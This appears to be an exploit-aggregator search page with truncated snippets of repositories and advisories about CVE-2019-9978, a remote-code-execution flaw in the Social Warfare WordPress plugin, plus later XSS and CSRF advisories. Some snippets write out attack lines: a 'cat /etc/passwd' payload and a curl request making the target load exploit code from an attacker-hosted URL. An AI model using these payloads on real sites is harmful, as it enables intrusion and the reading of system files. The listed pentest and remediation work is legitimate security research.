128 matches found
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – Social Warfare WordPress Plugin Exploit Unauthenticated Remote File Inclusion RFI to Remote Code Execution RCE 📌 Description This repository contains a Python-based Proof of Concept PoC demonstrating the exploitation of CVE-2019-9978 , a critical vulnerability in the Socia...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga Informe de remediación para MegaQuagga Publishing que valida la mitigación de CVE-2019-9978 mediante una defensa progresiva por capas. Documenta la inserción de un proxy inverso, la implementación de ModSecurity como WAF, la integración con Graylog SIEM y la aplicación d...
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC RCE in Social WarFare Plugin system'cat /etc/passwd' Guárdalo con el nombre: payload.txt y súbelo a un servidor. La URI debería verse así: https://yoursite.com/payload.txt. Finalmente, proporciona tus opciones --target y --payload-uri: root@kitploit: $ python...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...
CVE-2019-9978
CVE-2019-9978 Vulnerabilidad RCE en el plugin Social Warfare de WordPress 3.5.3 🐞 Simulación mínima del plugin vulnerable y su explotación 🥰 Instalación del plugin vulnerable Instalar dependencias: root@kitploit: docker-compose build Iniciar los contenedores del servidor vulnerable y atacante...
CVE-2019-9978
CVE-2019-9978 - RCE en el Plugin Social Warfare de WordPress system'cat /etc/passwd' ✅ Paso 2 – Iniciar un Servidor HTTP de Python...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress plugin RCE 3.5.3 Remote Code Execution in Social Warfare Plugin before 3.5.3 for Wordpress. This Poc does not require running an additional HTTP Server. Just pass your local IP and the desired port and the exploit will create a server in its own thread...
CVE-2019-9978_Exploit
CVE-2019-9978 Exploit Social WarFare Plugin =3.5.2 Remote Code Execution...
CVE-2019-9978
CVE-2019-9978 – Proof of Concept PoC PoC funcional para la vulnerabilidad CVE-2019-9978 , que afecta al plugin Social Warfare = 3.5.2, permitiendo Remote Code Execution RCE en WordPress. 📌 Descripción Este exploit abusa del parámetro swpdebug=loadoptions para forzar la carga de un payload remoto,...
MegaQuagga_Pentesting_Report
MegaQuagga Informe de Pentesting Este repositorio contiene una prueba de penetración completa de una aplicación web realizada contra un entorno de WordPress. La evaluación incluye descubrimiento de vulnerabilidades, explotación, post-explotación y documentación del impacto real de los ataques. 🔍...
CVE-2019-9978-Social-Warfare-WordPress-RCE
🚀 CVE-2019-9978 – Ejecución Remota de Código en el Plugin Social Warfare de WordPress ⚠️ AVISO: Este repositorio es solo para pruebas de seguridad educativas y autorizadas. Úselo únicamente en sistemas que posea o para los que tenga permiso explícito por escrito. El acceso no autorizado es ilegal...
CVE-2019-9978
Social Warfare Plugin Wordpress 3.5.2 Remote Code Execution Wordpress Social Warfare Remote Code Execution AUTO UPLOAD SHELL Date: March, 2019 Download Link: https://wordpress.org/plugins/social-warfare/ Reference: https://wpvulndb.com/vulnerabilities/9259 Version: CVE: 2019-9978 USAGE: python...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Social Warfare WordPress Plugin RCE This repository contains a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare plugin for WordPress version = 3.5.2. Description The swpdebug parameter in admin-post.php allows remote attackers t...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2...
CVE-2023-4842
The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'socialwarfare' shortcode in versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for...
CVE-2024-34825
Cross-Site Request Forgery CSRF vulnerability in Warfare Plugins Social Warfare.This issue affects Social Warfare: from n/a through 4.4.5.1...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2019-9978-RCE-PoC A custom Pytho...
EUVD-2024-35090
Malicious code in bioql PyPI...